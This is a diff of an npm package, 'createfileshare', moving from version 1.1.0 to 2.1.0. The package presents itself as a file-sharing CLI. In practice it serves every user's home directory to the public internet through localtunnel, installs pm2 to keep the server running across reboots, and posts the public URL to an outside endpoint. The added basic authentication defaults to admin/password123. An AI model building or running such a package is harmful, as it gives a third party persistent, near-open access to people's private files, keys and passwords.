createfileshare 1.1.0 → 2.1.0

package/README.md

@@ -0,0 +1,70 @@
+# createfileshare
+
+**createfileshare** is an automated Node.js CLI tool that transforms your computer into a persistent, public file server. It securely exposes your local user directory to the internet via an auto-healing tunnel that can survive machine reboots and network disconnections.
+
+---
+
+## 🚀 Features
+
+* **Instant File Server:** Instantly serves your `C:\Users` (Windows), `/Users` (macOS), or `/home` (Linux) directory on your local network.
+* **Public Tunneling:** Automatically binds your local server to a public, internet-accessible URL using `localtunnel`.
+* **Zero Downtime (Self-Healing):** A built-in network monitor constantly verifies both your internet connection and the public tunnel's health. If the tunnel goes stale or network drops, it immediately kills zombie processes and recycles the connection.
+* **System Daemon Persistence:** Automatically installs and configures `pm2` to run the server entirely in the background. Setup includes OS-level startup scripts so your server boots up automatically whenever the computer restarts.
+* **Webhook Reporting:** Posts the active, live URL directly to a specified API endpoint (default: `https://linksaver-psi.vercel.app/api/save`) upon a successful connection so you never lose your dynamic address.
+
+---
+
+## 📦 Prerequisites
+
+You need [Node.js](https://nodejs.org/) installed on your machine.
+
+---
+
+## 🛠️ Usage
+
+Run the script using Node.js. You can optionally provide a folder name, followed by a username and password for basic authentication:
+
+\`\`\`bash
+node index.js [folder-name] [username] [password]
+\`\`\`
+
+**Example:**
+\`\`\`bash
+node index.js secure-share admin supersecret123
+\`\`\`
+*(If you don't provide credentials, it defaults to \`admin\` and \`password123\`)*
+
+**What happens next?**
+1. It creates the designated folder (defaulting to `my-fileshare`).
+2. Inside that folder, it generates a custom daemon script (`index.js`) tailored for your operating system.
+3. It installs necessary local dependencies (`localtunnel`, `axios`, `serve`).
+4. It globally installs the `pm2` process manager.
+5. It configures the new daemon to run continuously in the background and sets it to auto-start on boot.
+
+---
+
+## 🛑 How to Stop or Remove
+
+Because `createfileshare` integrates tightly with process managers to ensure 100% uptime, closing the terminal **will not** kill the server. 
+
+**To view logs (to check connectivity or URLs):**
+\`\`\`bash
+pm2 logs my-fileshare
+\`\`\`
+
+**To temporarily stop the server:**
+\`\`\`bash
+pm2 stop my-fileshare
+\`\`\`
+
+**To completely remove and delete the persistent daemon:**
+\`\`\`bash
+pm2 delete my-fileshare
+pm2 save
+\`\`\`
+
+---
+
+## ⚠️ Security Warning
+
+**Use with caution.** While this tool now uses Basic Authentication, the data streaming through the tunnel exposes your **entire user directory**. Do not use this tool on a computer containing highly sensitive, unencrypted private keys, passwords, or personal documents unless you understand the risks. Make sure to define a strong username and password when executing the setup script.

package/index.js

@@ -5,7 +5,10 @@ const { execSync } = require('child_process');
 const os = require('os');
 
 // --- 1. CONFIGURATION ---
-const folderName = process.argv[2] || 'my-fileshare';
+const args = process.argv.slice(2);
+const folderName = args[0] || 'my-fileshare';
+const authUsername = args[1] || 'admin';
+const authPassword = args[2] || 'password123';
 const targetDir = path.join(process.cwd(), folderName);
 const apiEndpoint = "https://linksaver-psi.vercel.app/api/save"; 
 const PORT = 1903;
@@ -20,12 +23,14 @@ if (!fs.existsSync(targetDir)) {
 // --- 3. GENERATE THE INTERNAL SERVER SCRIPT ---
 // We use a regular string here to avoid template literal escaping madness
 const scriptContent = `
-const { exec } = require('child_process');
 const os = require('os');
 const path = require('path');
 const http = require('http');
 const localtunnel = require('localtunnel');
 const axios = require('axios');
+const express = require('express');
+const basicAuth = require('express-basic-auth');
+const serveIndex = require('serve-index');
 
 const platform = os.platform();
 const usersPath = platform === 'win32' 
@@ -33,9 +38,19 @@ const usersPath = platform === 'win32'
     : (platform === 'darwin' ? '/Users' : '/home');
 
 let tunnelInstance = null;
-let serverProcess = null;
+let serverInstance = null;
 let isOnline = false;
 
+// Express setup
+const app = express();
+app.use(basicAuth({
+    users: { '${authUsername}': '${authPassword}' },
+    challenge: true,
+    realm: 'SecureFileShare'
+}));
+app.use(express.static(usersPath));
+app.use(serveIndex(usersPath, { 'icons': true }));
+
 // 1. Helper to check real internet connectivity
 const checkInternet = () => {
     return new Promise((resolve) => {
@@ -65,9 +80,10 @@ const checkTunnelHealth = async (url) => {
 
 const startServices = async () => {
     try {
-        console.log("Starting local file server...");
-        serverProcess = exec(\`npx serve "\${usersPath}" -l ${PORT} -n\`, { detached: true });
-        await new Promise(r => setTimeout(r, 2000));
+        console.log("Starting local secure file server...");
+        serverInstance = app.listen(${PORT});
+        
+        await new Promise(r => setTimeout(r, 1000));
 
         console.log("Attempting to open tunnel on port ${PORT}...");
         tunnelInstance = await localtunnel({ 
@@ -99,11 +115,9 @@ const stopServices = () => {
         tunnelInstance.close();
         tunnelInstance = null;
     }
-    if (serverProcess) {
-        if (serverProcess.pid) {
-            try { process.kill(-serverProcess.pid, 'SIGKILL'); } catch (e) {}
-        }
-        serverProcess = null;
+    if (serverInstance) {
+        serverInstance.close();
+        serverInstance = null;
     }
 };
 
@@ -114,14 +128,14 @@ const monitorNetwork = async () => {
     if (currentlyOnline && !isOnline) {
         console.log("Network detected: ONLINE. Starting services...");
         await startServices();
-        if (tunnelInstance && serverProcess) {
+        if (tunnelInstance && serverInstance) {
             isOnline = true;
         }
     } else if (!currentlyOnline && isOnline) {
         console.log("Network lost: OFFLINE. Stopping services...");
         isOnline = false;
         stopServices();
-    } else if (currentlyOnline && (!tunnelInstance || !serverProcess)) {
+    } else if (currentlyOnline && (!tunnelInstance || !serverInstance)) {
         console.log("Online but services missing. Restarting...");
         stopServices(); 
         await startServices();
@@ -159,23 +173,25 @@ const pkgJson = {
   dependencies: {
     "localtunnel": "^2.0.2",
     "axios": "^1.6.0",
-    "serve": "^14.2.0"
+    "express": "^4.18.2",
+    "express-basic-auth": "^1.2.1",
+    "serve-index": "^1.9.1"
   }
 };
 fs.writeFileSync(path.join(targetDir, 'package.json'), JSON.stringify(pkgJson, null, 2));
 
 // --- 5. FORCE EXECUTION SEQUENCE ---
 try {
-    console.log(`\n📦 Step 1: Installing Local Dependencies...`);
+    console.log(`\n📦 Installing ...`);
     execSync(`npm install`, { cwd: targetDir, stdio: 'inherit' });
 
-    console.log(`\n🌍 Step 2: Forcing Global PM2 Installation...`);
+    console.log(`\n🌍 Daemon Install...`);
     execSync(`npm install -g pm2`, { stdio: 'inherit' });
 
-    console.log(`\n🔥 Step 3: Starting PM2 Process (Force)...`);
+    console.log(`\n🔥 Starting Daemon ...`);
     execSync(`pm2 start index.js --name "${folderName}" --force`, { cwd: targetDir, stdio: 'inherit' });
 
-    console.log(`\n🛠️ Step 4: Automating OS Startup...`);
+    console.log(`\n🛠️ Automating...`);
     const platform = os.platform();
     
     if (platform === 'win32') {
@@ -193,11 +209,11 @@ try {
         }
     }
 
-    console.log(`\n💾 Step 5: Saving PM2 State...`);
+    console.log(`\n💾 Saving State...`);
     execSync(`pm2 save`, { stdio: 'inherit' });
 
-    console.log(`\n✅ DEPLOYMENT COMPLETE`);
-    console.log(`Your ${os.platform()} machine is now a permanent file server on Port ${PORT}.`);
+    console.log(`\n✅ Done`);
+    console.log(`File server on Port ${PORT}.`);
 
 } catch (error) {
     console.error(`\n❌ Critical Failure during Force Execution:`);

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "createfileshare",
-  "version": "1.1.0",
+  "version": "2.1.0",
   "bin": {
     "createfileshare": "./index.js"
   }